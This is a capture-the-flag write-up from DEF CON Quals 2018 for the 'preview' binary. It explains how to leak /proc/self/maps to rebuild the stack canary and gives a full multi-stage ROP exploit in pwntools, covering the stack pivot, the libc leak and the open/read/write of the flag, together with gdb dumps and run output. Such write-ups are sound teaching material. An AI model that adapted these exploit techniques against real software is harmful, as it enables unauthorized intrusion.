Defcon Quals 2018 - ddtek: Preview
Team: Samurai
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
Welcome to preview 0.1
Standing by for your requests
I didn’t really bother reversing this binary, but directly started it up in gdb
and analyzed it (which worked out pretty well)…
The binary itself is obfuscated, and builds up the real binary into a mapped area and runs it from there.
Within gdb one could easily spot, that the binary checked, if our input starts with HEAD
, so when playing around with HEAD
it quickly occured, that it will output the first 7 lines of a file.
If the file, we’re trying to preview is shorter than 7 lines, it will just tell us, that That resource is not very interesting, feel free to select another
(so it cannot be used to just print the flag ;))
Welcome to preview 0.1
Standing by for your requests
HEAD flag
That resource is not very interesting, feel free to select another
HEAD /proc/self/maps
Here's your preview:
117178c000-117178e000 r-xp 00000000 00:00 0
117198d000-117198e000 r--p 00000000 00:00 0
117198e000-117198f000 rw-p 00000000 00:00 0
1a2e1fd000-1a2e223000 r-xp 00000000 fc:00 3412499 /lib/x86_64-linux-gnu/ld-2.23.so
1a2e422000-1a2e423000 r--p 00025000 fc:00 3412499 /lib/x86_64-linux-gnu/ld-2.23.so
1a2e423000-1a2e424000 rw-p 00026000 fc:00 3412499 /lib/x86_64-linux-gnu/ld-2.23.so
1a2e424000-1a2e425000 rw-p 00000000 00:00 0
Feeding it with a longer string will trigger a buffer overflow, but since the binary uses canaries, it will detect stack smashing:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Malformed request
*** stack smashing detected ***: ./preview terminated
Didn’t find a way to leak the canary, since overflowing into the canary would immediately crash the binary.
But when checking the canary in gdb, something struck my mind :)
[----------------------------------registers-----------------------------------]
RAX: 0x1a2e1fd117178c00
RBX: 0x0
RCX: 0x7f1ca8759290 --> 0x3173fffff0013d48
RDX: 0x7f1ca8a28780 --> 0x0
RSI: 0x7f1ca8a276a3 --> 0xa28780000000000a
RDI: 0x1
RBP: 0x7ffd1def2a50 --> 0x7ffd1def2a80 --> 0x117178d050 --> 0x41ff894156415741
RSP: 0x7ffd1def29d0 --> 0x7f1ca8a276a3 --> 0xa28780000000000a
RIP: 0x117178cfd6 --> 0x282504334864
R8 : 0x7f1ca8660700 (0x00007f1ca8660700)
R9 : 0x7f1ca8660700 (0x00007f1ca8660700)
R10: 0x7f1ca8660700 (0x00007f1ca8660700)
R11: 0x246
R12: 0x117178cae0 --> 0x89485ed18949ed31
R13: 0x7ffd1def2b60 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x117178cfcc: call 0x117178c9e0
0x117178cfd1: nop
0x117178cfd2: mov rax,QWORD PTR [rbp-0x8]
=> 0x117178cfd6: xor rax,QWORD PTR fs:0x28
0x117178cfdf: je 0x117178cfe6
0x117178cfe1: call 0x117178ca00
0x117178cfe6: leave
0x117178cfe7: ret
[------------------------------------stack-------------------------------------]
The canary here is 0x1a2e1fd117178c00
. I have seen this pattern somewhere already!!!
HEAD /proc/self/maps
Here's your preview:
117178c000-117178e000 r-xp 00000000 00:00 0
117198d000-117198e000 r--p 00000000 00:00 0
117198e000-117198f000 rw-p 00000000 00:00 0
1a2e1fd000-1a2e223000 r-xp 00000000 fc:00 3412499 /lib/x86_64-linux-gnu/ld-2.23.so
1a2e422000-1a2e423000 r--p 00025000 fc:00 3412499 /lib/x86_64-linux-gnu/ld-2.23.so
1a2e423000-1a2e424000 rw-p 00026000 fc:00 3412499 /lib/x86_64-linux-gnu/ld-2.23.so
1a2e424000-1a2e425000 rw-p 00000000 00:00 0
Spotted it, too?
The canary starts with the first half of the starting address of the r-xp
section of ld-2.23.so
. And the beginning of the r-xp
section of the mapped
section (which is the binary) forms the second half.
1a2e1fd000-1a2e223000 r-xp 00000000 fc:00 3412499 /lib/x86_64-linux-gnu/ld-2.23.so
117178c000-117178e000 r-xp 00000000 00:00 0
So, we can construct the canary for ourself by reading /proc/self/maps
, parsing the output and take those segments from the memory map
Canary = 1a2e1fd + 117178c + 00
Let’s prepare leaking the addresses from /proc/self/maps
, which we’ll need anyways and building that canary:
r.recvuntil("requests\n")
log.info("Leak pie and canary from /proc/self/maps")
r.sendline("HEAD /proc/self/maps")
r.recvline()
# Canary = first 7 chars from rx in ld and first 7 char from rx mapped
for i in range(7):
line = r.recvline()
if "r-xp" in line and "/lib" in line:
CANARY1 = line[:7]
elif "r-xp" in line and not "/lib" in line:
CANARY2 = line[:7]
PIE = line.split("-")[0]
CANARY = int(CANARY1+CANARY2+"00", 16)
PIE = int(PIE, 16)
BSS = PIE + 0x202000
[*] CANARY : 0x387fac19439d6100
[*] BSS : 0x9439f63000
[*] PIE : 0x9439d61000
With the canary at hand, we now can safely overflow the buffer, preparing a ropchain and call it.
For the final exploit I used a stager ropchain, which would
- read another ropchain to the
bss
and stack pivot there - this one leaks libc and reads… yes another ropchain
- the final ropchain then simply open/read/writes the flag
There was also an rwx
section mapped, containing shellcode, which could have been used for this, but I just sticked to ropping.
open
/read
/write
got plus some rop gadgets are all we need:
# Got entries for open/read/write
OPEN = BSS + 0x80
READ = BSS + 0x60
WRITE = BSS + 0x28
# Rop gadgets
POPRBP = PIE + 0xb40
LEAVE = PIE + 0xc89
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15
SETGAD = PIE + 0x10AA
# mov rdx, r13; mov rsi, r14; mov edi, r15
CALLGAD = PIE + 0x1090
So, first let’s read another ropchain to the bss and pivot the stack there:
def call_func(func, rdi, rsi, rdx, rbx=0, rbp=1):
global SETGAD, CALLGAD
payload = p64(SETGAD)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(func)
payload += p64(rdx) # r13
payload += p64(rsi) # r14
payload += p64(rdi) # r15
payload += p64(CALLGAD)
payload += p64(0xdeadbeef)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(func)
payload += p64(rdx) # r13
payload += p64(rsi) # r14
payload += p64(rdi) # r15
return payload
def exploit(r):
...
log.info("Read ropchain to bss and stack pivot to bss")
payload = "A"*(88)
payload += p64(CANARY)
payload += p64(BSS)
payload += call_func(READ, 0, BSS+0x100, 1000)
payload += p64(POPRBP)
payload += p64(BSS+0x100)
payload += p64(LEAVE)
r.sendline(payload)
We use the second ropchain to print out write
got to leak libc address and read another ropchain.
log.info("Leak write got and read another ropchain to bss")
payload = p64(BSS+0x200)
payload += call_func(WRITE, 1, WRITE, 8)
payload += call_func(READ, 0, BSS+0x100, 1000)
payload += p64(POPRBP)
payload += p64(BSS+0x100)
payload += p64(LEAVE)
r.sendline(payload)
r.recvline()
WRITEADD = u64(r.recv(8))
libc.address = WRITEADD - libc.symbols["write"]
log.info("WRITE : %s" % hex(WRITEADD))
log.info("LIBC : %s" % hex(libc.address))
Armed with this, we can now do the final ropchain.
log.info("Send final ropchain to open/read/write flag")
POPRAX = libc.address + 0x0000000000033544
POPRDI = libc.address + 0x0000000000021102
POPRSI = libc.address + 0x00000000000202e8
POPRDX = libc.address + 0x0000000000001b92
SYSCALL = libc.address + 0x00000000000bc375
payload = p64(BSS + 0x200)
payload += "A"*176
# open("./flag")
payload += p64(POPRAX)
payload += p64(2)
payload += p64(POPRDI)
payload += p64(BSS+0x290)
payload += p64(POPRSI)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(SYSCALL)
# read(3, bss+0x300, 100)
payload += p64(POPRAX)
payload += p64(0)
payload += p64(POPRDI)
payload += p64(3)
payload += p64(POPRSI)
payload += p64(BSS+0x300)
payload += p64(POPRDX)
payload += p64(100)
payload += p64(SYSCALL)
# write(1, bss+0x300, 100)
payload += p64(POPRAX)
payload += p64(1)
payload += p64(POPRDI)
payload += p64(1)
payload += p64(POPRSI)
payload += p64(BSS+0x300)
payload += p64(POPRDX)
payload += p64(100)
payload += p64(SYSCALL)
payload += "./flag\x00"
r.sendline(payload)
Might have also just put this into two ropchains, but it worked out pretty quickly and there were still more challenges to do, than cleaning up an already working exploit :-)
So, here you go:
[*] '/vagrant/Challenges/dc18/preview/preview'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/vagrant/Challenges/dc18/preview/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to cee810fa.quals2018.oooverflow.io on port 31337: Done
[+] Starting local process './pow.py': pid 1544
[*] Stopped process './pow.py' (pid 1544)
[*] Leak pie and canary from /proc/self/maps
[*] CANARY : 0xca98baf736e0e700
[*] BSS : 0x736e2e9000
[*] PIE : 0x736e0e7000
[*] SETGAD : 0x736e0e80aa
[*] CALLGAD : 0x736e0e8090
[*] Read ropchain to bss and stack pivot to bss
[*] Leak write got and read another ropchain to bss
[*] WRITE : 0x7fbb8a99a2b0
[*] LIBC : 0x7fbb8a8a3000
[*] Send final ropchain to open/read/write flag
[*] Switching to interactive mode
OOO{ZOMG, WhAT iF order-of-the-overfow IS ddtek?!?!?!? Plot Twist!}